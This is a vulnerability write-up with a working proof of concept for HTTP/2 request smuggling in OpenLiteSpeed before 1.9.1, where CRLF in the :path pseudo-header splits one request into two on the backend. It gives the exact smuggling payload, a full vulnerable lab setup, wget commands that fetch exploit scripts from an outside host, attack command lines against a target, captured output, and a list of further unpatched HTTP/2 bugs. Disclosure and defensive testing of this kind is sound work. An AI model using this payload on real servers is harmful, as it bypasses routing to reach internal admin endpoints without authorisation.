OpenLiteSpeed < 1.9.1 accepts HTTP/2 :path pseudo-header values
containing SP (0x20), HTAB (0x09), CR
(0x0d), and LF (0x0a). The value is stored verbatim in the
reconstructed HTTP/1.1 request buffer and forwarded byte-for-byte to proxy
backends via ProxyConn::sendReqHeader().
A single HTTP/2 request becomes two HTTP/1.1 requests on the backend connection. The second (smuggled) request bypasses OLS's URL routing — reaching backend endpoints that OLS was never configured to expose.
| Software | OpenLiteSpeed |
|---|---|
| Vulnerable | All versions before 1.9.1 — including 1.8.x, 1.7.x, and all prior releases |
| Fixed in | 1.9.1 (commit 3d16d477, 2026-07-01) |
| LiteSpeed Enterprise | Unknown — closed source; may share the same src/h2 codebase |
| Disclosure | Silent — commit message is "Check in 1.9.1", no CVE, no advisory |
| Trigger condition | Any context with type proxy (reverse-proxy mode) |
| Auth required | No — unauthenticated, remote |
Any deployment where OpenLiteSpeed terminates HTTP/2 and proxies requests to a backend over HTTP/1.1. This is the standard architecture for:
extprocessor with type proxyDeployments that only use LSAPI or FastCGI are not affected — those protocols use binary framing, not raw HTTP/1.1 forwarding. Pure static-file serving is also not affected.
The fix exists only on the master branch (1.9.1). The following
release branches do not contain it:
v1_8, v1_7, v1_6, v1_5,
v1_4, v1_3, v1_2, v1_0.
If you are pinned to any 1.8.x or earlier release, you are vulnerable with
no patch available from upstream.
The HPACK header processor (UpkdHdrBuilder::process() in
src/h2/unpackedheaders.cpp) performed a generic field-value
character scan before pseudo-header dispatch. The scan used the high nibble
of a lookup table that allowed SP and HTAB in values
(legal for general headers, fatal for pseudo-headers copied into the request line).
No validation existed for :path or :scheme at all.
:method had a partial guard (memchr(val, ' ', len)
only for methods >7 chars).
The fix introduces per-pseudo-header validation with UPK_TGT_BAD
and UPK_MTH_BAD flag bits that reject request-line-unsafe bytes
in a single pass.
Confirmed by source audit and live testing against OLS 1.9.0.1:
UpkdHdrBuilder::process() — :path with CRLF passes validationHttpReq::processUnpackedHeaders() — URL boundaries come from
getUrlLen() (HPACK length), not by scanning for spaces. CRLF bytes
survive into m_headerBufm_iHttpHeaderEnd = m_headerBuf.size() — the entire buffer
(including injected CRLFs) is marked as header dataProxyConn::sendReqHeader() — calls
pReq->getOrgReqLine() and forwards
getHttpHeaderLen() bytes verbatim over TCP to the backend
OLS proxies /api/* to a backend at 127.0.0.1:3000.
The backend also serves /admin/* internally — not exposed through
OLS (no proxy context for it). The attacker sends one HTTP/2 request:
:method = GET
:path = /api/status HTTP/1.1\r\nHost: target\r\nContent-Length: 0\r\n\r\nGET /admin/users
:scheme = https
:authority = target.example.com
OLS reconstructs and forwards to the backend:
┌─── Request 1 (matches /api/ context → proxied) ─── GET /api/status HTTP/1.1 Host: target Content-Length: 0 ┌─── Request 2 (SMUGGLED — bypasses OLS routing) ─── GET /admin/users HTTP/1.1 host: target.example.com X-Forwarded-For: attacker-ip X-Forwarded-Proto: https Accept-Encoding: gzip
Tested against OLS 1.9.0.1 (commit 28f7da33) with a netcat backend
on 127.0.0.1:9999. This is the exact output the backend received
from a single H2 request:
GET /proxy/public HTTP/1.1
Host: 127.0.0.1
Content-Length: 0
GET /internal-api/admin/users HTTP/1.1
host: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-Forwarded-Proto: https
Accept-Encoding: gzip
X-Forwarded-For: 127.0.0.1
The following sets up a minimal vulnerable OLS instance from source. Tested on Arch Linux; adapt package names for your distro.
# Clone and checkout the vulnerable version git clone https://github.com/litespeedtech/openlitespeed.git ols-vuln cd ols-vuln git checkout 28f7da33 # "Check in 1.9.0.1" # Run the build script (fetches boringssl + deps, compiles everything) # On Debian/Ubuntu: sudo bash build.sh # Or install from the official OLS repo — any version < 1.9.1 works: # https://openlitespeed.org/kb/install-ols-from-litespeed-repositories/
This is the entire config needed. One TLS listener, one proxy context.
The backend at 127.0.0.1:9999 is where we'll capture traffic.
# /tmp/ols-test/conf/httpd_config.conf serverName test user nobody group nogroup # Self-signed cert (generate with openssl req -x509 -newkey rsa:2048 ...) listener https { address *:8443 secure 1 keyFile $SERVER_ROOT/conf/server.key certFile $SERVER_ROOT/conf/server.crt map testvhost * } extprocessor backend { type proxy address 127.0.0.1:9999 maxConns 10 } virtualhost testvhost { vhRoot /tmp/ols-test/ docRoot $VH_ROOT/html/ # This is the vulnerable context — any proxy context triggers it context /proxy/ { type proxy handler backend } }
# Generate self-signed cert openssl req -x509 -newkey rsa:2048 -nodes \ -keyout /tmp/ols-test/conf/server.key \ -out /tmp/ols-test/conf/server.crt \ -subj "/CN=localhost" -days 365 # Create docroot mkdir -p /tmp/ols-test/html echo "ok" > /tmp/ols-test/html/index.html # Start OLS export LSWS_HOME=/tmp/ols-test /path/to/openlitespeed -c /tmp/ols-test/conf/httpd_config.conf # Verify H2 works curl -k --http2 https://127.0.0.1:8443/ # should return "ok" or 404 # Start a netcat listener as the "backend" — captures raw bytes (echo -ne "HTTP/1.1 200 OK\r\nContent-Length: 2\r\nConnection: close\r\n\r\nOK" \ | ncat -l 127.0.0.1 9999) &
# Download the PoC scripts wget https://warez.sl0p.foo/ols-h2-smuggle/poc_h2_request_smuggling.py wget https://warez.sl0p.foo/ols-h2-smuggle/h2_frame_helpers.py # Send the smuggling payload python3 poc_h2_request_smuggling.py 127.0.0.1 8443 --tls \ --decoy "/proxy/public" \ --target "/internal-api/admin/users" \ --vhost "127.0.0.1"
The ncat output (or check its stdout) shows two separate HTTP/1.1 requests from a single H2 request:
GET /proxy/public HTTP/1.1 ← request 1 (decoy, matched /proxy/ context) Host: 127.0.0.1 Content-Length: 0 ← empty line ends request 1 GET /internal-api/admin/users HTTP/1.1 ← request 2 (SMUGGLED) host: 127.0.0.1 X-Forwarded-Host: 127.0.0.1 X-Forwarded-Proto: https Accept-Encoding: gzip X-Forwarded-For: 127.0.0.1
The second request reached the backend despite /internal-api/
having no proxy context in OLS. The backend processes it as a normal request.
To verify the fix works, repeat with OLS ≥ 1.9.1. The server will reject the
:path and return an error — the backend receives nothing.
POST /
DELETE requests execute immediately on the backend regardless of
response orderingContent-Length: 0 and
Host: in the first request are attacker-controlled, enabling
further smuggling variantsNo external dependencies — raw sockets only. Python 3.8+.
# Dry-run: show the crafted bytes without connecting python3 poc_h2_request_smuggling.py 127.0.0.1 8443 --tls --dry-run # Live test against a vulnerable OLS instance # (start a netcat backend first: ncat -l 127.0.0.1 9999) python3 poc_h2_request_smuggling.py TARGET 443 --tls \ --decoy "/api/status" \ --target "/admin/users" \ --vhost "target.example.com"
Upgrade to OpenLiteSpeed ≥ 1.9.1, or cherry-pick commit 3d16d477.
The fix adds validateReqValue() with per-pseudo-header character masks:
:path rejects SP/HTAB/\;
:method rejects SP/HTAB;
:authority and :scheme get general value validation.
| 2026-01-08 | Partial fix in 1.8.5 — memchr(val,' ',len) for methods >7 chars only |
| 2026-07-01 | Complete fix in 1.9.1 — validateReqValue() with character table |
| 2026-07-06 | Independent rediscovery via source audit; confirmed on 1.9.0.1 test instance |
| — | No CVE assigned. No vendor advisory published. |
| SHA | Sev | Bug |
|---|---|---|
f4a6f0f8 | HIGH | Connection-level receive flow-control window never enforced |
b43ad585 | HIGH | Uninitialized HPACK pseudo-header slots (stale pointers from pool) |
0c62f1d0 | HIGH | Rapid-reset mitigation bypass (server-initiated RSTs uncounted) |
e81535f7 | MEDIUM | NULL deref in onPeerShutdown — remote crash |